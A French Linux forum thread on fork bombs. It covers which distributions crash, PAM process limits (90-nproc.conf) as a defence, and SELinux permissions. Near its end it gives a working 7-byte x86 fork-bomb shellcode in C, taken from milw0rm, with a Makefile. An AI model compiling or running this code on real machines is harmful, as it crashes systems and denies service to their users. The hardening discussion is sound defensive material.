[tutoriel] Fork bombing, l'art de faire crasher Linux

Titre accrocheur non? Et pourtant c'est bien faisable !

Voici un article tiré sur mon blog qui parle de ce sujet :

http://lebricabrac.wordpress.com/2009/11/03/linux-fork-bombing-lart-de-faire-crasher-linux/

c'est impressionnant, un si petit code peut faire planter toute une machine

ça me fait penser à cette excellent sujet de pti_seb → http://www.tux-planet.fr/10-commandes-dangeureuses-sous-linux/

Effectivement, avec root le système ne répond plus. Utilisé avec un compte utilisateur courant le script est limité par la configuration /etc/security/limits.d/90-nproc.conf

Voici son contenu:

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

* soft nproc 1024

Ce fichier est effectivement installé avec le paquet pam.

Merci.

@djezzyman : en gros, ça limite le nombre de processus lancé par un utilisateur.

Mais si quelqu'un pourra accéder en root, ça ne servira plus à rien

C'est vrai cette configuration ne protège pas contre un accès root. Mais root peut tout faire pratiquement, en particulier éditer les configurations.

De toute façon un accès avec les droits root s'appelle un exploit, c'est le piratage ultime. Il n'y a rien à faire si c'est le cas.

Je vous invite à vous renseigner sur les attaques du noyau avec les rootkit histoire de faire tomber le mythe de l'absence de virus sous linux. Ils sont encore plus dévastateurs que sous windows. Mais plus furtifs surtout car ils cultivent l'art de la dissimulation en détournant les appels systèmes ( invisibles avec ps, lsmod, ls, find. systèmes de fichiers proc,sysfs etc ...)

Voici la page Wikipédia dédiée aux rootkits.

Effectivement, avec root le système ne répond plus. Utilisé avec un compte utilisateur courant le script est limité par la configuration /etc/security/limits.d/90-nproc.conf

 

Voici son contenu:

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

Ce fichier est effectivement installé avec le paquet pam.

 

Merci.

Attention, ce n'est pas valable pour toutes les distributions, là tu es probablement sous Fedora ou RHEL, tu as donc SELinux et une politique de sécurité active de chez Red Hat.

Sous une Debian ou sous Archlinux par exemple, tu peux faire planter le système en étant un simple utilisateur car PAM est passif par défaut, les utilisateurs d'Ubuntu peuvent essayer pour voir ce que cela donne?

EDIT : Je viens de déduire à travers le commentaire de Mouradski que cela marche sous Ubuntu aussi ^^

Attention, ce n'est pas valable pour toutes les distributions, là tu es probablement sous Fedora ou RHEL, tu as donc SELinux et une politique de sécurité active de chez Red Hat.

 

Sous une Debian ou sous Archlinux par exemple, tu peux faire planter le système en étant un simple utilisateur car PAM est passif par défaut, les utilisateurs d'Ubuntu peuvent essayer pour voir ce que cela donne?

 

EDIT : Je viens de déduire à travers le commentaire de Mouradski que cela marche sous Ubuntu aussi ^^

Effectivement, la commande a fait planter Ubuntu

+++

Voici les permissions pour la class process:

dyntransition execheap execmem execstack fork getattr getcap getpgid getsched getsession noatsecure ptrace rlimitinh setcap setcurrent setexec setfscreate setkeycreate setpgid setrlimit setsched setsockcreate share sigchld siginh sigkill signal signull sigstop transition

Il y a bien une permission fork mais l'approche est purement qualitative et non quantitative. En somme si un processus a le droit de faire un fork, il peut en faire autant qu'il en demande (du point de vue SELINUX).

Les utilisateurs standards sont restreints par les limites de la configuration de pam quelque soit leur context SELINUX (user_u:user_r:user_t:s0 ou unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023) et root provoque une panne même avec le contexte sysadm_u:sysadm_r:sysadm_t:s0-s0:c0.c1023.

Je sais qu'on peut définir des booléens dans la politique SELINUX mais je ne sais pas si on peut définir des compteurs.

Petit rappel intéressant sur les modèles de sécurité.

Oui je confirme HAVOC, ça marche sous Ubuntu

Voici les permissions pour la class process:

 

dyntransition execheap execmem execstack fork getattr getcap getpgid getsched getsession noatsecure ptrace rlimitinh setcap setcurrent setexec setfscreate setkeycreate setpgid setrlimit setsched setsockcreate share sigchld siginh sigkill signal signull sigstop transition

 

 

Il y a bien une permission fork mais l'approche est purement qualitative et non quantitative. En somme si un processus a le droit de faire un fork, il peut en faire autant qu'il en demande (du point de vue SELINUX).

 

Les utilisateurs standards sont restreints par les limites de la configuration de pam quelque soit leur context SELINUX (user_u:user_r:user_t:s0 ou unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023) et root provoque une panne même avec le contexte sysadm_u:sysadm_r:sysadm_t:s0-s0:c0.c1023.

 

Je sais qu'on peut définir des booléens dans la politique SELINUX mais je ne sais pas si on peut définir des compteurs.

 

 

Petit rappel intéressant sur les modèles de sécurité.

Excuse moi cher ami, tu n'as pas compris ce que je voulais dire dans mon précédent message et cela est de ma faute, je me suis mal exprimé et mes propos sont flous.

Je ne voulais pas dire que c'est SELinux qui protège ta Fedora, je voulais dire que Fedora (comme la RHEL d'ailleurs) implémente nativement différentes protections, il y a une préparation spéciale du noyau (je ne sais pas si c'est exactement les mêmes patchs qui sont appliqués pour RHEL et Fedora), une politique (j'entends : préconfiguration) de sécurité native dès l'installation par défaut...etc. Ils ont donc pris soin de configuration correctement PAM dès l'installation par défaut, choix qui n'a pas été fait dans de nombreuses autres distributions : Archlinux, Debian, Ubuntu...etc.

D'ailleurs, je pense que OpenSuSE doit aussi être protégée nativement via la configuration de PAM car comme Fedora elle est issue d'une distribution à caractère professionnelle et dont la sécurité est un des objectifs primordiaux. Notre ami Bidossessi pourra peut être faire le test sur son OpenSUSE.

Donc en claire, nous somme bien d'accord que la protection provient de PAM, d'ailleurs, chez moi je peux limiter même les processus d'un utilisateur ou d'un groupe mais si on est root on peut toujours ré-éditer la config de PAM pour pouvoir faire des bêtises.

Oui je confirme HAVOC, ça marche sous Ubuntu

Merci pour la confirmation, j'avais en effet pu comprendre cela en lisant le commentaire que tu as laissé sur mon blog

comme je l'ai indiqué plus tôt, la seule protection qu'offre les distributions à base de Redhat est le fichier de configuration /etc/security/limits.d/90-nproc.conf et il est installé avec le paquet pam. Il ne concerne que les utilisateurs standards car avec root le système ne répond plus (sous Fedora 11).

Son contenu est le suivant:

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

* soft nproc 1024

Voilà, les utilisateurs standards ne peuvent lancer plus de 1024 processus. Je pense qu'il appartient aux packagers des différentes distributions d'intégrer ce petit fichier.

Peut-être est-ce l'occasion de prévenir les responsables du paquet pam de ARCH et Ubuntu ?

Il faut leurs envoyer un mail.

comme je l'ai indiqué plus tôt, la seule protection qu'offre les distributions à base de Redhat est le fichier de configuration /etc/security/limits.d/90-nproc.conf et il est installé avec le paquet pam.

 

Son contenu est le suivant:

 

# Default limit for number of user's processes to prevent

# accidental fork bombs.

# See rhbz #432903 for reasoning.

 

* soft nproc 1024

 

 

Voilà, les utilisateurs standards ne peuvent lancer plus de 1024 pocessus. Je pense qu'il appartient aux packagers des différentes distributions d'intégrer ce petit fichier.

 

Peut-être est-ce l'occasion de prévenir les responsables du paquet pam de ARCH et Ubuntu ?

 

Il faut leurs envoyer un mail.

Oui oui, c'est la config par défaut de PAM chez Fedora (et RHEL), il appartient aux concepteurs de chaque distribution de choisir la configuration par défaut de leurs paquets, ce n'est pas que le fichier manque, c'est que le fichier par défaut chez Archlinux, Debian et Ubuntu n'impose pas de limitation sur le nombre de processus pour les utilisateurs, il s'agit d'un choix comme un autre... on pourrait troller la dessus (même si je suis de ton avis, ça devrait être protégé par défaut).

Je vais essayé d'envoyer un mail au responsable du paquetage sous Archlinux mais ça m'étonnerait qu'il fasse un changement.

Voilà ^^ Au fait je suis curieux mais puis-je connaitre ta fonction ou formation si tu es étudiant ?

Au fait je suis curieux mais puis-je connaitre ta fonction ou formation si tu es étudiant ?

J'ai une formation en mathématiques et j'enseigne les maths dans le secondaire. Je fais de l'informatique par passion.

Il s'agit d'un shell code très cours (7 octects)

Avec un utilisateur standard le système répond encore mais très lentement (protection PAM active).

Pour reprendre la main, préparer une console root en mode non graphique (le vtswitch répond très vite) et la commande killall forkbomb avant de lancer l'exécutable.

Voici le code C (fichier forkbomb.c):

/* By Kris Katterjohn 8/29/2006

*

* 7 byte shellcode for a forkbomb

*

*

*

* section .text

*

* global _start

*

* _start:

* push byte 2

* pop eax

* int 0x80

* jmp short _start

*/

main()

{

char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";

(*(void (*)()) shellcode)();

}

// milw0rm.com [2006-11-17]

Voici le Makefile:

all: forkbomb

forkbomb: forkbomb.c

gcc -o forkbomb forkbomb.c

clean:

rm -f forkbomb

Désolé mais le forum fait disparaitre les tabulations (devant gcc et rm).

Voici la page d'origine.

Shell codes Linux/x86